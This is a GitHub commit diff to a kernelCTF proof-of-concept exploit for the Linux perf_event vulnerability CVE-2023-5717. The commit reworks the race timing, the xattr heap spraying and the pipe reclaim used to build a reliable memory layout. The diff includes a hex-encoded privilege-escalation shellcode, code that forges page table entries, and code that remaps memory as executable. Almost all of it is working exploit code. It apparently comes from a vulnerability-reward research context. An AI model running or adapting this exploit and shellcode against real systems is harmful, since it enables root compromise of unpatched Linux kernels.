Skip to content

Commit fbf5673

Browse files
committed
Improved forming memory layout reliability
1 parent f26c523 commit fbf5673

File tree

2 files changed

+41
-35
lines changed
  • pocs/linux/kernelctf/CVE-2023-5717_mitigation/exploit/mitigation-v3b-6.1.55

2 files changed

+41
-35
lines changed

pocs/linux/kernelctf/CVE-2023-5717_mitigation/exploit/mitigation-v3b-6.1.55/exploit.c

+41-35
Original file line numberDiff line numberDiff line change
@@ -28,17 +28,17 @@
2828
#include <time.h>
2929
#include <signal.h>
3030

31-
// #define TIMER 71000
32-
// #define MIN 70200
33-
// #define MAX 62400
3431
#define MIN 60000
3532
#define MAX 71000
3633

34+
// #define MIN 79000
35+
// #define MAX 96000
36+
3737
#define SIBLINGS_MAX 1024 // about 0x4000 ~
3838
#define CPU_A 1 // main cpu
3939
#define CPU_B 0
40-
#define MAX_TRY 4096
41-
#define TRY_PER_ITER 300
40+
#define MAX_TRY 1
41+
#define TRY_PER_ITER 1024
4242
// TOTAL_ITER = MAX_TRY * TRY_PER_ITER
4343

4444
char shellcode[] = "\x0f\x01\xf8\x65\x4c\x8b\x24\x25\xc0\x0c\x02\x00\x4d\x8b\xb4\x24\x48\x02\x00\x00\x49\x81\xee\x30\xc0\x1e\x00\x4d\x89\xf0\x48\xc7\xc7\x01\x00\x00\x00\x4c\x89\xc0\x48\x05\x50\xde\x1b\x00\x41\x54\x41\x50\xff\xd0\x48\x89\xc3\x41\x58\x41\x5c\x4c\x89\xc0\x48\x05\x00\x69\xa7\x02\x48\x89\xc7\x48\x89\xbb\x38\x08\x00\x00\x49\x89\xbc\x24\x38\x08\x00\x00\x4c\x89\xc0\x48\x05\x40\x6b\xa7\x02\x48\x89\xc7\x49\x89\xbc\x24\xd8\x07\x00\x00\x0f\x01\xf8\x48\xcf";
@@ -289,7 +289,7 @@ void print_proc_self_maps_raw() {
289289
}
290290

291291
int counter_init = 0;
292-
void race(int group_leader, int init) { // caller must have ownership of the group
292+
void race(int group_leader, int timer) { // caller must have ownership of the group
293293
int pipefd[2];
294294
uint64_t buf[0x2000] = {0, };
295295
char buffer[0x100] = {0x41, };
@@ -299,26 +299,6 @@ void race(int group_leader, int init) { // caller must have ownership of the gro
299299
}
300300
int ppid = getppid();
301301
int status;
302-
if (init) { // Will this help in forming a reliable memory layout?
303-
spray_xattr_page(0x3008, 12, 1); // 12296
304-
spray_xattr_page(0x4008, 2, 1); // 16392
305-
remove_xattr("security.x16392_0", 1);
306-
remove_xattr("security.x16392_1", 1);
307-
remove_xattr("security.x12296_5", 1);
308-
remove_xattr("security.x12296_6", 1);
309-
remove_xattr("security.x12296_11", 1);
310-
resize_pipe(vuln_pipe[1], 0x1000 * 220);
311-
remove_xattr("security.x12296_10", 1);
312-
remove_xattr("security.x12296_7", 1);
313-
if (setxattr("/tmp/x1", "security.x12296_10", buf, 0x3008, 0) < 0) {
314-
perror("reclaim failed");
315-
exit(EXIT_FAILURE);
316-
}
317-
}
318-
if (setxattr("/tmp/x1", "security.ssiphim", buf, 0x3008, 0) < 0) {
319-
perror("reclaim failed");
320-
exit(EXIT_FAILURE);
321-
}
322302

323303
pid_t child_pid = fork();
324304
if (child_pid == 0) { // child read
@@ -344,17 +324,21 @@ void race(int group_leader, int init) { // caller must have ownership of the gro
344324
ioctl(group_leader, PERF_EVENT_IOC_DISABLE, 0);
345325
}
346326
}
347-
327+
348328
write(pipefd[1], buffer, 1); // sync point A
349329
remove_xattr("security.x12296_10", 1);
350330
// x10 reclaimed by CPU_B is now released on CPU_A
351-
for (int _=0; _<32; _++)
331+
for (int _=0; _<32; _++);
352332
read(group_leader, buf, sizeof(buf));
353333
remove_xattr("security.ssiphim", 1);
354334
if (setxattr("/tmp/x1", "security.x12296_10", buf, 0x3008, 0) < 0) {
355335
perror("reclaim failed");
356336
exit(EXIT_FAILURE);
357337
}
338+
if (setxattr("/tmp/x1", "security.ssiphim", buf, 0x3008, 0) < 0) {
339+
perror("reclaim failed");
340+
exit(EXIT_FAILURE);
341+
}
358342
uint64_t ptes[512];
359343
for (int p=0; p<512; p++)
360344
ptes[p] = 0x8000000000000067;
@@ -486,12 +470,34 @@ pid_t add_siblings_fork(int group_leader, int cnt, int ctx_pid, int is_racer){
486470
sched_yield();
487471
// Minimizing heap noise.
488472
// child will be running on CPU_A
473+
spray_xattr_page(0x3008, 12, 1); // 12296
474+
spray_xattr_page(0x4008, 2, 1); // 16392
475+
remove_xattr("security.x16392_0", 1);
476+
remove_xattr("security.x16392_1", 1);
477+
remove_xattr("security.x12296_5", 1);
478+
remove_xattr("security.x12296_6", 1);
479+
sched_yield();
480+
// this reclaim process must be atomic
481+
remove_xattr("security.x12296_11", 1);
482+
resize_pipe(vuln_pipe[1], 0x1000 * 220);
483+
sched_yield();
484+
remove_xattr("security.x12296_10", 1);
485+
remove_xattr("security.x12296_7", 1);
486+
if (setxattr("/tmp/x1", "security.x12296_10", buf, 0x3008, 0) < 0) {
487+
perror("reclaim failed");
488+
exit(EXIT_FAILURE);
489+
}
490+
if (setxattr("/tmp/x1", "security.ssiphim", buf, 0x3008, 0) < 0) {
491+
perror("reclaim failed");
492+
exit(EXIT_FAILURE);
493+
}
494+
// reclaim two chunks.
495+
// they'll be released in CPU_A and used only in CPU_A.
496+
489497
for (int _; _<TRY_PER_ITER; _++) {
490498
while (!atomic_load(&race_go));
491-
if (_ == 0)
492-
race(group_leader, 1);
493-
else
494-
race(group_leader, 0);
499+
race(group_leader, MIN + _*50);
500+
495501
}
496502
}
497503
sleep(9999999);
@@ -673,7 +679,7 @@ void exploit() {
673679
while (atomic_load(&race_tf) == 0);
674680
atomic_store(&race_tf, 0);
675681
mprotect(&spray_addr[0][0], MAP_SIZE, PROT_READ);
676-
mprotect(&spray_addr[0][0], MAP_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC);
682+
mprotect(&spray_addr[0][0], MAP_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC);
677683
mprotect(&spray_addr[1][0], MAP_SIZE, PROT_READ);
678684
mprotect(&spray_addr[1][0], MAP_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC);
679685
for (int i=0; i<2; i++) {
@@ -701,7 +707,6 @@ void exploit() {
701707
perror("fork nono !!@#W!KL@J!KLjaddklsJDl");
702708
exit(EXIT_FAILURE);
703709
}
704-
705710
}
706711
exit(0);
707712
}
@@ -718,9 +723,10 @@ int main(void) {
718723
race_oracle();
719724
tfd = timerfd_create(CLOCK_MONOTONIC, 0);
720725
do_epoll_enqueue(tfd);
721-
alarm(900);
722726
spray_xattr_page(0x3000, 2048, 0);
727+
paused();
723728

729+
alarm(900);
724730
exploit();
725731
sleep(999999); // munmap will trigger kernel panic
726732
}

0 commit comments

Comments
 (0)